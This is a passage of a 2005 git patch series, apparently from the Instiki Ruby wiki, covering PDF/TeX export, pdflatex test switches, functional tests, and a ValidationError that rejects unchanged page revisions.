WikiService.storage_path + file_name export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') + # NB: this is _very_ slow convert_tex_to_pdf(file_path + '.tex') - send_file(file_name + '.pdf') + send_file(file_path + '.pdf') end def print @@ -273,7 +274,9 @@ class WikiController < ApplicationController end def convert_tex_to_pdf(tex_path) - `cd #{File.dirname(tex_path)}; pdflatex --interaction=scrollmode '#{File.basename(tex_path)}'` + # TODO remove earlier PDF files with the same prefix + # TODO handle gracefully situation where pdflatex is not available + logger.info `pdflatex --interaction=nonstopmode --output-directory #{File.dirname(tex_path)} #{File.basename(tex_path)}` end def export_page_to_tex(file_path) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index d0851b6c..7010c59e 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -1,13 +1,13 @@ #!/bin/env ruby +# Uncomment the line below to enable pdflatex tests; don't forget to comment them again +# commiting to SVN +$INSTIKI_TEST_PDFLATEX = true + require File.dirname(__FILE__) + '/../test_helper' require 'wiki_controller' require 'rexml/document' -unless RedClothForTex.available? - $stderr.puts 'Warning: latex is not available, skipping all related tests' -end - # Raise errors beyond the default web-based presentation class WikiController; def rescue_action(e) logger.error(e); raise e end; end @@ -33,7 +33,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_authenticate @web.password = 'pswd' - + r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') assert_redirected_to :action => 'login' assert_nil r.cookies['web_address'] @@ -263,12 +263,20 @@ class WikiControllerTest < Test::Unit::TestCase end +if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + def test_pdf if RedClothForTex.available? process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') end end +else + puts "Warning: tests involving pdflatex are very slow, therefore they are disable by default." + puts " Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable" + puts " $INSTIKI_TEST_PDFLATEX to enable them." +end + def test_print process('print', 'web' => 'wiki1', 'id' => 'HomePage') From bd8e725578bc8cd1bd5b432f44f53b447855783f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 18:09:13 +0000 Subject: [PATCH 028/529] Added assertions for the response content in pdf action; changed all output file names to include seconds --- app/controllers/wiki_controller.rb | 12 +++--- test/functional/wiki_controller_test.rb | 56 ++++++++++++++++++++----- test/test_helper.rb | 18 ++++++++ 3 files changed, 69 insertions(+), 17 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 0f6da854..8f4eb862 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -80,16 +80,16 @@ class WikiController < ApplicationController end def export_pdf - file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M')}" + file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" file_path = WikiService.storage_path + file_name - export_web_to_tex(file_path + ".tex") unless FileTest.exists?(file_path + ".tex") - convert_tex_to_pdf(file_path + ".tex") - send_export(file_name + ".pdf", file_path + ".pdf") + export_web_to_tex "#{file_path}.tex" unless FileTest.exists? "#{file_path}.tex" + convert_tex_to_pdf "#{file_path}.tex" + send_export("#{file_name}.tex", "#{file_path}.tex") end def export_tex - file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M')}.tex" + file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex" file_path = WikiService.storage_path + file_name export_web_to_tex(file_path) unless FileTest.exists?(file_path) @@ -182,7 +182,7 @@ class WikiController < ApplicationController def pdf page = wiki.read_page(@web_name, @page_name) safe_page_name = @page.name.gsub(/\W/, '') - file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime("%Y-%m-%d-%H-%M")}" + file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}" file_path = WikiService.storage_path + file_name export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 7010c59e..2535b4b8 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -2,7 +2,7 @@ # Uncomment the line below to enable pdflatex tests; don't forget to comment them again # commiting to SVN -$INSTIKI_TEST_PDFLATEX = true +# $INSTIKI_TEST_PDFLATEX = true require File.dirname(__FILE__) + '/../test_helper' require 'wiki_controller' @@ -263,19 +263,53 @@ class WikiControllerTest < Test::Unit::TestCase end -if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + + def test_pdf + assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' + r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success - def test_pdf - if RedClothForTex.available? - process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') + content = r.binary_content + + assert_equal '%PDF', content[0..3] + assert_equal "EOF\n", content[-4..-1] + + assert_equal 'application/octet_stream', r.headers['Content-Type'] + assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, + r.headers['Content-Disposition'] end - end + + def test_pdf + assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' + r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + + sio = StringIO.new + begin + $stdout = sio + r.body.call + ensure + $stdout = STDOUT + end + + sio.rewind + content = sio.read + + assert_equal '%PDF', content[0..3] + assert_equal "EOF\n", content[-4..-1] -else - puts "Warning: tests involving pdflatex are very slow, therefore they are disable by default." - puts " Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable" - puts " $INSTIKI_TEST_PDFLATEX to enable them." -end + assert_equal 'application/octet_stream', r.headers['Content-Type'] + assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, + r.headers['Content-Disposition'] + end + + + else + puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' + puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' + puts ' $INSTIKI_TEST_PDFLATEX to enable them.' + end def test_print diff --git a/test/test_helper.rb b/test/test_helper.rb index fa83110b..e65c143b 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -68,3 +68,21 @@ module ChunkMatch end end end + + +module AbstractController + class TestResponse + def binary_content + sio = StringIO.new + begin + $stdout = sio + r.body.call + ensure + $stdout = STDOUT + end + + sio.rewind + sio.read + end + end +end From 57df455d1db26d36b2c6ea39bd23e05541934f63 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 18:25:13 +0000 Subject: [PATCH 029/529] Removed accidentally duplicated code --- test/functional/wiki_controller_test.rb | 27 +------------------------ 1 file changed, 1 insertion(+), 26 deletions(-) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 2535b4b8..28c1787e 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -264,7 +264,7 @@ class WikiControllerTest < Test::Unit::TestCase if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX - + def test_pdf assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') @@ -279,32 +279,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, r.headers['Content-Disposition'] end - - def test_pdf - assert RedClothForTex.available?, 'Cannot do test_pdf when pdflatex is not available' - r = process('pdf', 'web' => 'wiki1', 'id' => 'HomePage') - assert_success - - sio = StringIO.new - begin - $stdout = sio - r.body.call - ensure - $stdout = STDOUT - end - - sio.rewind - content = sio.read - - assert_equal '%PDF', content[0..3] - assert_equal "EOF\n", content[-4..-1] - assert_equal 'application/octet_stream', r.headers['Content-Type'] - assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, - r.headers['Content-Disposition'] - end - - else puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' From 58f92caa19ec59fd1773b17356093c65ff3d655e Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 18:28:01 +0000 Subject: [PATCH 030/529] Removed code that made it into Rails SVN --- test/test_helper.rb | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/test/test_helper.rb b/test/test_helper.rb index e65c143b..ab0f03b4 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -33,22 +33,6 @@ class WikiServiceWithNoPersistence end -# With the new cookies infrastructure, @response.cookies['foo'] is no good anymore. -# Pending implementation in Rails, here is a convenience method for accessing cookies from a test - -module ActionController - class TestResponse - # Returns the response cookies, converted to a Hash of (name => CGI::Cookie) pairs - # Example: - # - # assert_equal ['AuthorOfNewPage'], r.cookies['author'].value - def cookies - headers['cookie'].inject({}) { |hash, cookie| hash[cookie.name] = cookie; hash } - end - end -end - - # This module is to be included in unit tests that involve matching chunks. # It provides a easy way to test whether a chunk matches a particular string # and any the values of any fields that should be set after a match. From f28e572c65542449f83cd8de89e47ebd8dc4c10d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 20:03:49 +0000 Subject: [PATCH 031/529] Added a test for tex action --- test/functional/wiki_controller_test.rb | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 28c1787e..18d26a6d 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -558,6 +558,20 @@ class WikiControllerTest < Test::Unit::TestCase end + def test_tex + r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage') + assert_success + + assert_equal "\\documentclass[12pt,titlepage]{article}\n\n\\usepackage[danish]{babel} " + + "%danske tekster\n\\usepackage[OT1]{fontenc} %rigtige danske bogstaver...\n" + + "\\usepackage{a4}\n\\usepackage{graphicx}\n\\usepackage{ucs}\n\\usepackage[utf8x]" + + "{inputenc}\n\\input epsf \n\n%----------------------------------------------------" + + "---------------\n\n\\begin{document}\n\n\\sloppy\n\n%-----------------------------" + + "--------------------------------------\n\n\\section*{HomePage}\n\nFirst revision of " + + "the HomePage end\n\n\\end{document}", r.body + end + + def test_update_web @wiki.system[:password] = 'pswd' From c50dd048e36ec7585c3b01ff6f5081d33849a37b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 20:11:49 +0000 Subject: [PATCH 032/529] Corrected the binary_content method --- test/test_helper.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/test/test_helper.rb b/test/test_helper.rb index ab0f03b4..ce8d9572 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -54,13 +54,13 @@ module ChunkMatch end -module AbstractController +module ActionController class TestResponse def binary_content sio = StringIO.new begin $stdout = sio - r.body.call + body.call ensure $stdout = STDOUT end From 8f5ac3440a04e1ea30324f7bbe7b43c6ae4bdc6b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 20:37:06 +0000 Subject: [PATCH 033/529] All controller actions are covered by tests [main success scenarios only - not really trying to break it yet] --- CONTROLLER_TESTS | 38 ---------------------- app/controllers/wiki_controller.rb | 12 +++---- test/functional/wiki_controller_test.rb | 43 +++++++++++++++++++++---- 3 files changed, 43 insertions(+), 50 deletions(-) delete mode 100755 CONTROLLER_TESTS diff --git a/CONTROLLER_TESTS b/CONTROLLER_TESTS deleted file mode 100755 index e9090097..00000000 --- a/CONTROLLER_TESTS +++ /dev/null @@ -1,38 +0,0 @@ -DONE - -edit -create_system -index -locked -new -new_system -show -recently_revised -save -revision -rollback -search -list -web_list -authenticate -login -create_web -new_web -update_web -authors -remove_orphaned_pages -cancel_edit -print -published -rss_with_content -rss_with_headlines -export_html -export_markup -pdf - -TODO - -tex -export_pdf -export_tex - diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 8f4eb862..b7018133 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -80,20 +80,20 @@ class WikiController < ApplicationController end def export_pdf - file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" + file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" file_path = WikiService.storage_path + file_name export_web_to_tex "#{file_path}.tex" unless FileTest.exists? "#{file_path}.tex" convert_tex_to_pdf "#{file_path}.tex" - send_export("#{file_name}.tex", "#{file_path}.tex") + send_file("#{file_path}.pdf") end def export_tex - file_name = "#{web.address}-tex-#{web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex" + file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}.tex" file_path = WikiService.storage_path + file_name export_web_to_tex(file_path) unless FileTest.exists?(file_path) - send_export(file_name, file_path) + send_file(file_path) end def feeds @@ -314,8 +314,8 @@ class WikiController < ApplicationController end def export_web_to_tex(file_path) - @tex_content = table_of_contents(web.pages['HomePage'].content.dup, render_tex_web) - File.open(file_path, 'w') { |f| f.write(template_engine('tex_web').result(binding)) } + @tex_content = table_of_contents(@web.pages['HomePage'].content.dup, render_tex_web) + File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex_web')) } end def get_page_and_revision diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 18d26a6d..ceb37783 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -160,7 +160,8 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] - # TODO assert contents of the output file + content = r.binary_content + assert_equal 'PK', content[0..1], 'Content is not a zip file' end def test_export_markup @@ -170,9 +171,43 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal 'application/zip', r.headers['Content-Type'] assert_match /attachment; filename="wiki1-textile-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, r.headers['Content-Disposition'] - # TODO assert contents of the output file + content = r.binary_content + assert_equal 'PK', content[0..1], 'Content is not a zip file' + end + + + if ENV['INSTIKI_TEST_LATEX'] or defined? $INSTIKI_TEST_PDFLATEX + + def test_export_pdf + r = process 'export_pdf', 'web' => 'wiki1' + assert_success + assert_equal 'application/octet_stream', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal '%PDF', content[0..3] + assert_equal "EOF\n", content[-4..-1] + end + + else + puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' + puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' + puts ' $INSTIKI_TEST_PDFLATEX to enable them.' end + + def test_export_tex + setup_wiki_with_three_pages + + r = process 'export_tex', 'web' => 'wiki1' + + assert_success + assert_equal 'application/octet_stream', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-tex-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.tex"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal '\documentclass', content[0..13], 'Content is not a TeX file' + end def test_feeds process('feeds', 'web' => 'wiki1') @@ -280,10 +315,6 @@ class WikiControllerTest < Test::Unit::TestCase r.headers['Content-Disposition'] end - else - puts 'Warning: tests involving pdflatex are very slow, therefore they are disable by default.' - puts ' Set environment variable INSTIKI_TEST_PDFLATEX or global Ruby variable' - puts ' $INSTIKI_TEST_PDFLATEX to enable them.' end From 7780a13fe8f66f59bfbb0e18f91f067d699a2ded Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 21:22:41 +0000 Subject: [PATCH 034/529] Created a special error class for handling graecful rollbacks (not sure if Madeleine can take it yet) --- config/environment.rb | 1 + libraries/instiki_errors.rb | 15 +++++++++++++++ 2 files changed, 16 insertions(+) create mode 100644 libraries/instiki_errors.rb diff --git a/config/environment.rb b/config/environment.rb index f38efb72..6e038c7a 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -42,6 +42,7 @@ end require 'action_controller' require 'active_record_stub' +require 'instiki_errors' unless defined? RAILS_DEFAULT_LOGGER RAILS_DEFAULT_LOGGER = Logger.new(STDERR) diff --git a/libraries/instiki_errors.rb b/libraries/instiki_errors.rb new file mode 100644 index 00000000..52efc571 --- /dev/null +++ b/libraries/instiki_errors.rb @@ -0,0 +1,15 @@ +# Model methods that want to rollback transactions gracefully +# (i.e, returning the user back to the form from which the request was posted) +# should raise Instiki::ValidationError. +# +# E.g. if a model object does +# raise "Foo: '#{foo}' is not equal to Bar: '#{bar}'" if (foo != bar) +# +# then the operation is not committed; Rails returns the user to the page +# where s/he was entering foo and bar, and the error message will be displayed +# on the page + +module Instiki + class ValidationError < StandardError + end +end \ No newline at end of file From 878a6336fbba9ceb99825ce1b0035368c4118de2 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 21:27:38 +0000 Subject: [PATCH 035/529] Page#revise raises ValidationError if a revision is exactly same as the page before --- app/models/page.rb | 20 ++++++++----- test/unit/page_test.rb | 68 +++++++++++++++++++++++++----------------- 2 files changed, 54 insertions(+), 34 deletions(-) diff --git a/app/models/page.rb b/app/models/page.rb index 5765cf1e..b2bd0ee6 100755 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -15,13 +15,18 @@ class Page end def revise(content, created_at, author) + if not @revisions.empty? and content == @revisions.last.content + raise Instiki::ValidationError.new( + "You have tried to save page '#{name}' without changing its content") + end + # A user may change a page, look at it and make some more changes - several times. # Not to record every such iteration as a new revision, if the previous revision was done # by the same author, not more than 30 minutes ago, then update the last revision instead of # creating a new one if !@revisions.empty? && continous_revision?(created_at, author) @revisions.last.created_at = created_at - @revisions.last.content = content + @revisions.last.content = content @revisions.last.clear_display_cache else @revisions << Revision.new(self, @revisions.length, content, created_at, author) @@ -38,11 +43,11 @@ class Page def revisions? revisions.length > 1 end - + def revised_on created_on end - + def in_category?(cat) cat.nil? || cat.empty? || categories.include?(cat) end @@ -50,7 +55,7 @@ class Page def categories display_content.find_chunks(Category).map { |cat| cat.list }.flatten end - + def authors revisions.collect { |rev| rev.author } end @@ -67,18 +72,19 @@ class Page def link(options = {}) web.make_link(name, nil, options) end - + def author_link(options = {}) web.make_link(author, nil, options) end - + private def continous_revision?(created_at, author) @revisions.last.author == author && @revisions.last.created_at + 30.minutes > created_at end - + # Forward method calls to the current revision, so the page responds to all revision calls def method_missing(method_symbol) revisions.last.send(method_symbol) end + end diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 2d29d174..fe1b513f 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -11,6 +11,7 @@ class MockWeb < Web end class PageTest < Test::Unit::TestCase + def setup @page = Page.new( MockWeb.new, @@ -21,11 +22,7 @@ class PageTest < Test::Unit::TestCase ) end - def test_basics - assert_equal "First Page", @page.plain_name - end - - def test_locking + def test_lock assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") @@ -38,19 +35,52 @@ class PageTest < Test::Unit::TestCase assert !@page.locked?(Time.local(2004, 4, 4, 16, 50)) end - def test_locking_duration + def test_lock_duration @page.lock(Time.local(2004, 4, 4, 16, 30), "DavidHeinemeierHansson") assert_equal 15, @page.lock_duration(Time.local(2004, 4, 4, 16, 45)) end - def test_revision - @page.revise("HisWay would be MyWay in kinda lame", Time.local(2004, 4, 4, 16, 55), "MarianneSyhler") - assert_equal 2, @page.revisions.length, "Should have two revisions" - assert_equal "MarianneSyhler", @page.author, "Mary should be the author now" - assert_equal "DavidHeinemeierHansson", @page.revisions.first.author, "David was the first author" + def test_plain_name + assert_equal "First Page", @page.plain_name + end + + def test_revise + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions.length, 'Should have two revisions' + assert_equal 'MarianneSyhler', @page.author, 'Mary should be the author now' + assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author, 'David was the first author' end + def test_revise_continous_revision + @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler') + assert_equal 2, @page.revisions.length + + @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler') + assert_equal 2, @page.revisions.length + assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content + assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at + + @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson') + assert_equal 3, @page.revisions.length + assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content + + @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson') + assert_equal 4, @page.revisions.length + end + + def test_revise_content_unchanged + last_revision_before = @page.revisions.last + revisions_number_before = @page.revisions.size + + assert_raises(Instiki::ValidationError) { + @page.revise(@page.revisions.last.content.dup, Time.now, 'AlexeyVerkhovsky') + } + + assert_same last_revision_before, @page.revisions.last + assert_equal revisions_number_before, @page.revisions.size + end + def test_rollback @page.revise("spot two", Time.now, "David") @page.revise("spot three", Time.now + 2000, "David") @@ -59,20 +89,4 @@ class PageTest < Test::Unit::TestCase assert_equal "spot two", @page.content end - def test_continous_revision - @page.revise("HisWay would be MyWay in kinda lame", Time.local(2004, 4, 4, 16, 55), "MarianneSyhler") - assert_equal 2, @page.revisions.length - - @page.revise("HisWay would be MyWay in kinda update", Time.local(2004, 4, 4, 16, 57), "MarianneSyhler") - assert_equal 2, @page.revisions.length - assert_equal "HisWay would be MyWay in kinda update", @page.revisions.last.content - assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at - - @page.revise("HisWay would be MyWay in the house", Time.local(2004, 4, 4, 16, 58), "DavidHeinemeierHansson") - assert_equal 3, @page.revisions.length - assert_equal "HisWay would be MyWay in the house", @page.revisions.last.content - - @page.revise("HisWay would be MyWay in my way", Time.local(2004, 4, 4, 17, 30), "DavidHeinemeierHansson") - assert_equal 4, @page.revisions.length - end end \ No newline at end of file From cb1d8ed54f162b4bc4fc75c7911fc92c296ab2b8 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 21:31:26 +0000 Subject: [PATCH 036/529] Controller-level test for the last revision (submit of an identical revision) --- test/functional/wiki_controller_test.rb | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index ceb37783..11267754 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -540,6 +540,18 @@ class WikiControllerTest < Test::Unit::TestCase assert !home_page.locked?(Time.now) end + def test_save_new_revision_identical_to_last + revisions_before = @home.revisions.size + + assert_raise(Instiki::ValidationError) { + process 'save', 'web' => 'wiki1', 'id' => 'HomePage', + 'content' => @home.revisions.last.content.dup, + 'author' => 'SomeOtherAuthor' + } + revisions_after = @home.revisions.size + assert_equal revisions_before, revisions_after + end + def test_search setup_wiki_with_three_pages From 5c8b738238393073d05aaec17e551cc8e0a07ebb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 22:42:45 +0000 Subject: [PATCH 037/529] Added test at the service level, to see how well madeleine copes with errors. Looks like it does cope with them. --- app/models/page.rb | 3 +- test/unit/wiki_service_test.rb | 61 ++++++++++++++++++++++++++++------ 2 files changed, 52 insertions(+), 12 deletions(-) diff --git a/app/models/page.rb b/app/models/page.rb index b2bd0ee6..f6257120 100755 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -15,6 +15,7 @@ class Page end def revise(content, created_at, author) + if not @revisions.empty? and content == @revisions.last.content raise Instiki::ValidationError.new( "You have tried to save page '#{name}' without changing its content") @@ -34,7 +35,7 @@ class Page web.refresh_pages_with_references(name) if @revisions.length == 1 end - + def rollback(revision_number, created_at, author_ip = nil) roll_back_revision = @revisions[revision_number].dup revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip)) diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index 1c3f7695..c6a04e07 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -37,27 +37,66 @@ class WikiServiceTest < Test::Unit::TestCase 'state of any object, and therefore should not be logged by Madeleine!', Time.now, 'AlexeyVerkhovsky' - assert_doesnt_change_state :authenticate, 'pswd' - assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' - assert_doesnt_change_state :setup? - assert_doesnt_change_state :webs + assert_doesnt_change_state_or_log :authenticate, 'pswd' + assert_doesnt_change_state_or_log :read_page, 'instiki', 'TestReadOnlyOperations' + assert_doesnt_change_state_or_log :setup? + assert_doesnt_change_state_or_log :webs @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", Time.now, 'DavidHeinemeierHansson' assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content end + def test_aborted_transaction + @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + 10.minutes.ago, 'DavidHeinemeierHansson' - def assert_doesnt_change_state(method, *args) + assert_doesnt_change_state('revise_page with unchanged content') { + begin + @s.revise_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", + Time.now, 'DavidHeinemeierHansson' + fail 'Expected Instiki::ValidationError not raised' + rescue Instiki::ValidationError + end + } + end + + + # Checks that a method call or a block doesn;t change the persisted state of the wiki + # Usage: + # assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations' + # or + # assert_doesnt_change_state {|wiki| wiki.webs} + + def assert_doesnt_change_state(method, *args, &block) + _assert_doesnt_change_state(including_command_log = false, method, *args, &block) + end + + # Same as assert_doesnt_change_state, but also asserts that no vommand log is generated + def assert_doesnt_change_state_or_log(method, *args, &block) + _assert_doesnt_change_state(including_command_log = true, method, *args, &block) + end + + private + + def _assert_doesnt_change_state(including_log, method, *args) WikiService.snapshot last_snapshot_before = File.read(Dir[RAILS_ROOT + 'storage/test/*.snapshot'].last) - - @s.send(method, *args) - command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] - assert command_logs.empty?, "Calls to #{method} should not be logged" + if block_given? + yield @s + else + @s.send(method, *args) + end + + if including_log + command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log'] + assert command_logs.empty?, "Calls to #{method} should not be logged" + end + last_snapshot_after = File.read(Dir[RAILS_ROOT + 'storage/test/*.snapshot'].last) - assert last_snapshot_before == last_snapshot_after, - 'Calls to #{method} should not change the state of any persisted object' + assert last_snapshot_before == last_snapshot_after, + 'Calls to #{method} should not change the state of any persisted object' end + end From 73552b36a04236270037f989b2dff9d21338e168 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 17 Jan 2005 23:17:28 +0000 Subject: [PATCH 038/529] If there is a validation error, save action will redirect to the last known good location and set error message in a flash --- app/controllers/application.rb | 28 ++++++++++++++++++++- app/controllers/wiki_controller.rb | 33 ++++++++++++++----------- test/functional/wiki_controller_test.rb | 12 ++++++--- 3 files changed, 54 insertions(+), 19 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 6765c5e7..a6a7480f 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -7,6 +7,8 @@ class ApplicationController < ActionController::Base # implements Instiki's legacy URLs require 'url_rewriting_hack' + after_filter :remember_location + # For injecting a different wiki model implementation. Intended for use in tests def self.wiki=(the_wiki) # a global variable is used here because Rails reloads controller and model classes in the @@ -15,13 +17,37 @@ class ApplicationController < ActionController::Base $instiki_wiki_service = the_wiki logger.debug("Wiki service: #{the_wiki.to_s}") end - + def self.wiki $instiki_wiki_service end + + protected def wiki $instiki_wiki_service end + + @@REMEMBER_NOT = [] + def remember_location + if @response.headers['Status'] == '200 OK' + @session[:return_to] = url_for unless @@REMEMBER_NOT.include? action_name + @session[:already_tried_index_as_fallback] = false + end + end + + def return_to_last_remembered + # Forget the redirect location + redirect_target, @session[:return_to] = @session[:return_to], nil + # then try to redirect to it + if redirect_target.nil? + raise 'Cannot redirect to index' if @session[:already_tried_index_as_fallback] + @session[:already_tried_index_as_fallback] = true + redirect_to_url '/' + else + redirect_to_url(redirect_target) + end + end + end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index b7018133..b641797c 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -213,21 +213,26 @@ class WikiController < ApplicationController def save redirect_to :action => 'index' if @page_name.nil? - - if @web.pages[@page_name] - page = wiki.revise_page( - @web_name, @page_name, @params['content'], Time.now, - Author.new(@params['author'], remote_ip) - ) - page.unlock - else - page = wiki.write_page( - @web_name, @page_name, @params['content'], Time.now, - Author.new(@params['author'], 